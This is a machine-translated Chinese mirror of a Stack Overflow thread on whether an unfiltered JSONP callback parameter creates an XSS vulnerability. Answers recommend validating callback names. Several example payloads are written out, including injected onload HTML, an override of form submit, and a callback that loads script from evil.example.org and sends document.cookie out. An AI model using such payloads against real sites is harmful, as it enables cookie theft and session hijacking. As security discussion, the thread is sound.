Javascript 明显的jsonp xss漏洞

Javascript 明显的jsonp xss漏洞,javascript,security,xss,jsonp,Javascript,Security,Xss,Jsonp,我们的一些客户插话说,我们所有的JSONP端点中都存在一个感知到的XSS漏洞,但我不同意它是否真的构成了一个漏洞。想得到社区的意见,以确保我没有遗漏什么 因此,与任何jsonp系统一样,我们有一个端点,如: http://foo.com/jsonp?cb=callback123 其中,cb参数的值将在响应中回放: callback123({"foo":"bar"}); callback123({ "restaurantName": "Dirty Pete's Burgers", "comme

我们的一些客户插话说,我们所有的JSONP端点中都存在一个感知到的XSS漏洞,但我不同意它是否真的构成了一个漏洞。想得到社区的意见,以确保我没有遗漏什么

因此,与任何jsonp系统一样,我们有一个端点,如:

http://foo.com/jsonp?cb=callback123
其中,cb参数的值将在响应中回放:

callback123({"foo":"bar"});
callback123({ "restaurantName": "Dirty Pete's Burgers", "comment": "x"+alert("haxored")+"y" })
客户抱怨我们没有在CB参数中过滤掉HTML,所以他们会设计这样一个示例:

http://foo.com/jsonp?cb=<body onload="alert('h4x0rd');"/><!--

http://foo.com/jsonp?cb=如果是这样的话,没有什么可以阻止他们做一些插入代码的事情

想象一个URL,比如
http://example.com/jsonp?cb=HTMLFormElement.prototype.submit =函数(){/*将表单数据发送到某个第三方服务器*/};foo
。当客户端收到这个消息时,根据您处理JSONP的方式,您可能会引入运行任意复杂度的JS的能力


至于这是一个怎样的攻击向量:想象一个HTTP代理,它是除
http://example.com/jsonp
,它获取查询字符串的cb部分,并在其前面添加一些恶意JS,并重定向到该URL。

如果回调的名称(“cb”值)是从以前的输入值盲目派生的,则您的站点将存在XSS漏洞。用户可以手动创建一个URL,通过您的JSONPAPI发送JavaScript,然后再发送回来,这一事实与他们可以直接通过浏览器的JavaScript控制台运行相同的JavaScript这一事实并不有趣

现在,如果您的站点要将一些JSON内容发送回使用表单中未过滤的用户输入的回调,或者更隐秘地从以前在数据库中存储某些内容的其他表单发送回回调,那么您就有问题了。比如,如果您的回复中有“评论”字段:

callback123({"foo":"bar"});
callback123({ "restaurantName": "Dirty Pete's Burgers", "comment": "x"+alert("haxored")+"y" })
然后,该注释的值为
x”+警报(“haxored”)+“y
,将是XSS攻击。然而,任何好的JSON编码器都会通过引用双引号字符来解决这个问题


也就是说,确保回调名称是一个有效的JavaScript标识符不会有什么害处。无论如何,您真的不能做太多其他事情,因为根据定义,为了正常工作,您的公共JSONP服务应该执行客户端页面希望它执行的任何操作。

正如Pointy所指出的,直接调用URL是不可利用的。但是,如果您自己的任何javascript代码使用用户提供的数据调用JSON服务,并在对文档的响应中呈现值,或者
eval()
s响应(无论是现在还是将来某个时候,随着您的应用程序的发展),那么您就有一个真正可利用的XSS漏洞


个人而言,我仍然认为这是一个低风险的脆弱性,即使它今天可能不可利用。为什么不现在解决它,并消除它在将来某个时候引入更高风险漏洞的部分责任风险?

它们的注入必须类似于
pwned

验证
$\u GET['callback']
(假设为PHP)是否是有效的JavaScript函数名对您来说相对简单

JSONP的全部意义在于绕过浏览器限制,这些限制试图防止XSS类型的漏洞,因此在某种程度上,JSONP提供者和请求站点之间需要信任


但是,该漏洞仅在客户端未智能地处理用户输入时出现-如果客户端对所有JSONP回调名称进行硬编码,则不存在漏洞的可能性。

另一个示例是发出以下两个请求:

https://example.org/api.php
?callback=$.getScript('//evil.example.org/x.js');var dontcare=(
这将要求:

$.getScript('//evil.example.org/x.js');var dontcare= ({ ... });
new Mothership({cookie:document.cookie, loc: window.location, apidata: { .. });
而evil.example.org/x.js将请求:

https://example.org/api.php
?callback=new Mothership({cookie:document.cookie, loc: window.location, apidata:
这将要求:

$.getScript('//evil.example.org/x.js');var dontcare= ({ ... });
new Mothership({cookie:document.cookie, loc: window.location, apidata: { .. });
可能性是无穷的

有关清理JSON回调的示例,请参见


注意:默认情况下,Internet Explorer倾向于忽略
内容类型
标题。它很顽固,直接查看HTTP响应的前几个字节,如果它看起来有点像HTML,它将继续以文本/HTML(包括内联脚本)的形式解析和执行它。

“我只是想有一个关于我可能错过的其他威胁的对话”问题是什么。。感谢上帝,客户只是“抱怨”,我很惊讶他们没有入侵你的网站!也。document.write和innerHTML—我在nginx服务器上使用应用程序/javascript头时发现这两个命令都是解决方案—解决了IE或任何其他问题。页面只是以正常方式执行文本或代码,这是假设黑客通过其控制下的恶意代理路由用户。在这种情况下,黑客不需要破坏我的JSONP参数。他可以在任何地方插入任何他想插入的内容。是的,但是这样做会让事情变得更加微妙。记住,只插入javascript对任何人都没有任何作用。只有当它作为JSONP从攻击者(或我的SDK的可信用户)控制的其他页面调用时,才会得到评估。在这种情况下,document.cookie和window.location将指向SDK使用者的站点。。。不会透露任何他们还没有接触到的信息。他们基本上只是在过度复杂的实现上浪费时间。但当解释恶意HTML时,情况就有点不同了。在这种情况下,攻击涉及黑客诱使用户点击他的特殊链接,因此整个沙邦将在我的网站的沙箱中执行,而不是在黑客的沙箱中执行。这样他就可以阅读document.domain等了。我很好奇IE的哪些版本会忽略内容类型。您是否有更多关于哪个版本的信息,或者它需要什么魔术内容?我测试了7、8和9。不再安装6,但我重新安装了